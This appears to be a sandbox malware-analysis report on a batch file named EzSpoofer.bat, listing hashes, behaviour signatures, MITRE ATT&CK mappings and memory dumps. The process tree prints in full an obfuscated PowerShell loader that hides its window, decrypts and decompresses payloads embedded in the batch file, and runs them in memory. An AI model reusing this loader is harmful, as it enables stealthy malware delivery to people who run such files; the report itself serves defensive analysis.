2bc671246bf742ed639bb5fafa2fcfae1f821500d21971c7a368eba3478b62a0

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
24-01-2025 14:57

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General

Target

EzSpoofer.bat
Size

262KB
MD5

1298934b3f4c37d349794f0686c6e7a8
SHA1

9a6848b79ba8aba796514526898b4c9217301bc0
SHA256

2bc671246bf742ed639bb5fafa2fcfae1f821500d21971c7a368eba3478b62a0
SHA512

ee7afbdd2cc0297cd0da983618fa45e7c0304c142723f394a8a3d484d6f87e36a902f6dc4788007cd8df5252a455d697eeb21eb1673f41f9464a3d1872179374
SSDEEP

6144:lyFq/jSEnae2y5lSdU0NeUmerUzCO6jZFwkjAZ9:lyFqbSOaeUxeCOibw+AZ9

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2760	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2760	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2760	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2644 wrote to memory of 2760	2644	cmd.exe	31
PID 2644 wrote to memory of 2760	2644	cmd.exe	31
PID 2644 wrote to memory of 2760	2644	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\EzSpoofer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('26XlvjUE5165AqEPeVe5DvD1fwVLlGClxE1+Dt9XjP0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sfNDJdxmVNackDmrxAQ8EQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vXSyZ=New-Object System.IO.MemoryStream(,$param_var); $HPfSM=New-Object System.IO.MemoryStream; $VaLYr=New-Object System.IO.Compression.GZipStream($vXSyZ, [IO.Compression.CompressionMode]::Decompress); $VaLYr.CopyTo($HPfSM); $VaLYr.Dispose(); $vXSyZ.Dispose(); $HPfSM.Dispose(); $HPfSM.ToArray();}function execute_function($param_var,$param2_var){ $ZjffX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $QLaJM=$ZjffX.EntryPoint; $QLaJM.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\EzSpoofer.bat';$jsdwy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\EzSpoofer.bat').Split([Environment]::NewLine);foreach ($wiEcG in $jsdwy) { if ($wiEcG.StartsWith(':: ')) { $POWxE=$wiEcG.Substring(3); break; }}$payloads_var=[string[]]$POWxE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2760-4-0x000007FEF675E000-0x000007FEF675F000-memory.dmp

Filesize
4KB

Download
memory/2760-6-0x0000000001E00000-0x0000000001E08000-memory.dmp

Filesize
32KB

Download
memory/2760-5-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/2760-7-0x000007FEF64A0000-0x000007FEF6E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-8-0x000007FEF64A0000-0x000007FEF6E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-9-0x000007FEF64A0000-0x000007FEF6E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-11-0x000007FEF64A0000-0x000007FEF6E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-10-0x000007FEF64A0000-0x000007FEF6E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-12-0x000007FEF64A0000-0x000007FEF6E3D000-memory.dmp

Filesize
9.6MB

Download